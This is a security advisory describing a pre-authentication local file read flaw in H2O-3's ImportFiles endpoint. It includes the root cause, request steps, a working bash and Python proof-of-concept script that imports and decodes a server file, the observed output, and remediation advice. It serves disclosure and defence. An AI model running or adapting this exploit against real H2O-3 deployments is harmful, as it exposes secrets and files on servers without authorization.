H2O-3 Pre-Auth Path Traversal in ImportFiles Allows Unauthenticated Import and Read of Arbitrary Local Files

Project: H2O-3 

Repository: https://github.com/h2oai/h2o-3 

Vulnerability ID: VPLUS-2026-20695

Title: Pre-Authentication Path Traversal in H2O-3 ImportFiles Allows Arbitrary Local File Read

Description: A pre-authentication local file read vulnerability exists in H2O-3 because the POST /3/ImportFiles endpoint is exposed without authentication and accepts attacker-controlled filesystem paths.

In the request handling flow, RegisterV3Api exposes the route, and ImportFilesHandler.importFiles(...) passes the user-supplied path directly to H2O.getPM().importFiles(...). When the path is resolved through the local filesystem persistence layer, PersistNFS.importFiles(...) performs only limited deny-glob and existence checks, then proceeds to import the target path by calling FileIntegrityChecker.check(f).syncDirectory(files, keys, fails, dels).

Although the default deny glob blocks some directories such as /etc and /proc, it does not restrict arbitrary other local paths such as /root/buildinfo/labels.json. There is no authentication, authorization, or dedicated import-directory allowlist protecting this functionality.

As a result, an unauthenticated attacker can import a server-readable local file as an H2O frame and then retrieve its content through the Frames API.

Affected Component: Local filesystem import / ImportFiles API

Affected File: h2o-core/src/main/java/water/persist/PersistNFS.java

Affected Function: importFiles

Affected Line: 126

Technical Root Cause: The application trusts user-supplied filesystem paths in an unauthenticated import endpoint and relies on an incomplete blacklist-based restriction model. Because absolute local paths are accepted and imported into a retrievable frame, the endpoint effectively exposes arbitrary local file read for any readable file not blocked by the deny glob.

Attack Vector: An unauthenticated attacker can:

  1. Import a local file:

    POST /3/ImportFiles
    path=/root/buildinfo/labels.json
    
  2. Read the imported frame:

    GET /3/Frames/nfs://root/buildinfo/labels.json
    

Proof of Concept:

#!/bin/bash
set -euo pipefail

BASE="${1:-http://192.168.200.45:54321}"
TARGET_PATH="${2:-/root/buildinfo/labels.json}"
FRAME_KEY="nfs://root/buildinfo/labels.json"

echo "=== IMPORT LOCAL FILE ==="
curl -sS -X POST "$BASE/3/ImportFiles" \
  --data-urlencode "path=$TARGET_PATH"
echo

echo "=== READ IMPORTED FRAME ==="
curl -sS "$BASE/3/Frames/nfs:%2F%2Froot%2Fbuildinfo%2Flabels.json"
echo

echo "=== DECODE FIRST 120 BYTES ==="
BASE_ENV="$BASE" python - <<'PY'
import json
import os
import urllib.request

base = os.environ["BASE_ENV"]
url = base + "/3/Frames/nfs:%2F%2Froot%2Fbuildinfo%2Flabels.json"
obj = json.load(urllib.request.urlopen(url))
data = obj["frames"][0]["columns"][0]["data"][:120]
print("".join(chr(int(x)) for x in data))
PY

Observed Behavior: The issue was successfully reproduced without authentication:

  • POST /3/ImportFiles with path=/root/buildinfo/labels.json returned:
    • files=["/root/buildinfo/labels.json"]
    • destination_frames=["nfs://root/buildinfo/labels.json"]
  • GET /3/Frames/nfs://root/buildinfo/labels.json returned the file content as frame data
  • Decoding the first 120 bytes revealed the beginning of the real local JSON file content:

    {
      "architecture": "x86_64",
      "vcs-type": "git",
      ...
    }
    

Impact: This vulnerability allows remote unauthenticated attackers to import and read arbitrary local files that are readable by the H2O-3 process, subject only to incomplete deny-glob restrictions. This can expose sensitive system metadata, configuration files, secrets, internal application data, or other locally stored information.

Severity: High

CVSS: 8.1

Remediation Recommendations:

  1. Require strong authentication and authorization for ImportFiles and related import endpoints.
  2. Disable local filesystem import by default unless explicitly required.
  3. Restrict imports to a dedicated allowlisted data directory rather than accepting arbitrary absolute paths.
  4. Canonicalize and validate the supplied path before use, rejecting absolute paths, traversal attempts, recursive imports outside the allowed area, and symlink escapes.
  5. Replace blacklist-based file_deny_glob controls with an explicit allowlist model.
  6. Add audit logging for all local file import operations.